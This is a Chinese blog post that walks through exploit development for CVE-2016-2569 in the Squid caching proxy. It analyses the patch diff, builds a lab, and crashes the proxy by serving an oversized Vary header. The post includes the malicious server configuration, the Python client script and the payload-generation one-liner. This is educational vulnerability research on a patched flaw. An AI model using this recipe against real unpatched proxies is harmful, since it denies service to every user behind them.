你好呀,
感谢你阅读我的第一篇博客文章。今天我们将针对开源工具 Squid 缓存代理服务器进行漏洞利用开发。
Squid 是一款支持 HTTP、HTTPS、FTP 等协议的 Web 缓存代理。它通过缓存和复用频繁请求的网页来减少带宽占用并缩短响应时间。Squid 具有强大的访问控制功能,是一款出色的服务器加速器。它可运行于大多数操作系统,包括 Windows,并采用 GNU GPL 许可证。你可以在其官方网站 [http://www.squid-cache.org/] 上找到关于 Squid 缓存代理的更多信息。
首先,我希望你知道什么是 CVE :p 总之,它代表 Common Vulnerabilities and Exposures(关于 CVE 的更多信息可以在 [https://en.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures] 找到)。
我们可以看到关于 CVE-2016-2569 的以下信息:
描述:Squid 3.x(3.5.15 之前)和 4.x(4.0.7 之前)未能正确地向 String 对象追加数据,这使得远程服务器能够通过长字符串造成拒绝服务(断言失败和守护进程退出),正如精心构造的 HTTP Vary 头所演示的那样。Open Systems AG 的 Mathias Fischer 报告了此漏洞。
由于这是一个开源项目,我们可以查看用于缓解此漏洞的补丁。根据提供的漏洞描述,我们可以确认这是某种溢出尝试。我们将继续深入源码以进一步调查。
补丁 [http://www.squid-cache.org/Versions/v3/3.5/changesets/squid-3.5-13991.patch] 确认对以下文件进行了修改:
让我们继续深入……
src/String.cc 的代码差异看起来很有趣,因为它对 aSize 变量进行了断言。
=== modified file 'src/String.cc'
--- src/String.cc 2016-01-01 00:14:27 +0000
+++ src/String.cc 2016-02-19 23:15:41 +0000
@@ -42,7 +42,7 @@
String::setBuffer(char *aBuf, String::size_type aSize)
{
assert(undefined());
- assert(aSize < 65536);
+ assert(aSize <= SizeMax_);
buf_ = aBuf;
size_ = aSize;
}
@@ -171,7 +171,7 @@
} else {
// Create a temporary string and absorb it later.
String snew;
- assert(len_ + len < 65536); // otherwise snew.len_ overflows below
+ assert(canGrowBy(len)); // otherwise snew.len_ may overflow below
snew.len_ = len_ + len;
snew.allocBuffer(snew.len_ + 1);
基于上述代码差异,我们可以尝试通过提供超过 65536 字节的 Vary 头值来利用此漏洞。
让我们开始搭建我们的漏洞利用环境。
我们将在 Linux 系统上搭建 Squid 缓存代理(我们将使用 Xubuntu 16.04 LTS)。Squid 缓存代理会缓存 metanet HTTP 服务器的响应,并在收到类似请求时从内存缓存中向客户端发送响应,而不是再次查询服务器。
我们的网络拓扑大致如下所示(抱歉,画拓扑图的方式有点老派,但我依然深爱着 VIM)
------------------------- ------------------------- -------------------------
| | | | | |
| metanet | ----> | Squid | -----> | Client |
| 192.168.56.102 | | Caching Proxy | | 192.168.56.1 |
| HTTP Server | <---- | TCP Port 3128 | <---- | Python Requests |
| | | | | |
------------------------- ------------------------- -------------------------
我们将通过 Squid 代理向我们的 nginx HTTP 服务器发送标准查询,并检查日志以确认环境是否按预期工作。
为了让事情更简单,我们将使用以下 Python 脚本向服务器发送请求。这里需要注意的重要一点是,请求中使用的头字段允许代理服务器缓存响应。如果 HTTP 请求头 "If-Modified-Since"、"max-age" 和 "cache-control" 的值不正确,客户端请求会强制代理服务器向源服务器查询响应。这将完全违背代理服务器的用途。
Request.py
#!/usr/bin/env python
import requests, os
proxy = {'http': '192.168.56.102:3128'}
headers = {'If-Modified-Since': 'Wed, 24 Jan 2018 13:58:1 GMT', 'Accept': '*', 'max-age': '20000', 'cache-control': 'public', 'connetction': 'keep-alive', 'user-agent': 'requests2'}
if len(os.sys.argv) != 2:
print "Usage: req [URI]"
os.sys.exit()
print '\nhttp://192.168.56.102:8080/{}'.format(os.sys.argv[1])
r = requests.get('http://192.168.56.102:8080/{}'.format(os.sys.argv[1]), proxies=proxy, headers=headers)
print "\nHTTP Stat Code --> ", r.status_code
print
print "HTTP Response Headers \n",
for h in r.headers:
print h, ": ", r.headers[h]
print
if 'Vary' in r.headers:
print "Vary: ", r.headers['Vary'], "\n"
我们可以看到上面的 Python 代码设置了 headers、代理,并使用 Python requests 库向位于 192.168.56.102 的 HTTP 服务器发送请求。一旦我们从服务器或代理获得响应,就会打印出响应头。我们尤其感兴趣的是 HTTP 服务器或代理服务器发送的 Vary 响应头。
接下来要搭建的是 metanet(HTTP 服务器)。我们使用 metanet,因为它可以很容易地发送不同的 HTTP 响应头。或者,我们也可以使用 SimpleHTTPServer,它同样允许我们发送自定义的 HTTP 响应。
我们需要准备 metanet 配置文件,使其返回 Vary 头以及必要的头,从而允许 Squid 缓存代理在内存中缓存类似的响应。
我们的 metanet 配置大致如下:
[tcp/8080]
"GET / " -> "HTTP/1.1 200 OK\r\n\r\n<html><body style=\"background-color: #000000; color: #FFFFFF\">Artificial Intelligence is no match for natural stupidity :p</html>\n",close()
* -> "HTTP/1.1 200 OK\r\nServer: metanet\r\nmax-age: 0\r\nDate: Thu, 26 Jan 2018 16:25:22 GMT\r\nLast-Modified: Thu, 1 Feb 2018 13:58:11 GMT\r\nVary:NULL\r\nConnection:keep-alive\r\n\r\n<html><body>Wut????</body></html>",close()
让我们试一试,看看我们的环境是否真的能正常工作!

根据我们的配置,一切看起来都很正常。w00t w00t!
让我们尝试利用该漏洞(将长字符串缓冲区与 HTTP Vary 响应头一起传递)。这是一种简单的溢出利用。从代码差异中我们可以看到,存在一个断言,规定 a_size 的值不应超过 65536。我们要让 Vary 头的长度达到那么长。
理想情况下,我们并没有 65536 个标准的 HTTP 响应头(那将是一场混乱 😛);但我们可以自己编造头。在这种情况下,唯一重要的就是传递给 Vary 头的字符串长度。
让我们用 Python 生成一个超长字符串,例如 python -c 'print "a,b,c,d,e,f," *6000'。我们将使用这个输出并修改我们的 metanet 配置,如下所示,然后测试我们的漏洞利用。
我们的 metanet 配置大致如下:
[tcp/8080]
"GET / " -> "HTTP/1.1 200 OK\r\n\r\n<html><body style=\"background-color: #000000; color: #FFFFFF\">Artificial Intelligence is no match for natural stupidity :p</html>\n",close()
* -> "HTTP/1.1 200 OK\r\nServer: metanet\r\nmax-age: 0\r\nDate: Thu, 26 Jan 2018 16:25:22 GMT\r\nLast-Modified: Thu, 1 Feb 2018 13:58:11 GMT\r\nVary:`a,b,c,d,e,f,`<reapeated 6000 times>"\r\nConnection:keep-alive\r\n\r\n<html><body>Wut????</body></html>",close()
当我们向代理发送第一个请求时,一切看起来都很正常。代理似乎没有缓存响应;也许是因为我们在 Vary 头字段中提供的值。Vary 头中指定的响应头会参与 md5 摘要的计算,以校验缓存内容。
让我们继续向代理发送多个请求。这里出了问题,代理没有响应我们的请求,因为我们从 requests 库收到了 "Proxy Error"。无论如何,让我们继续发送请求。
唉。代理因频繁故障而停止。任何通过代理连接服务器的设备都将无法访问任何内容。这对所有代理用户来说都是拒绝服务。
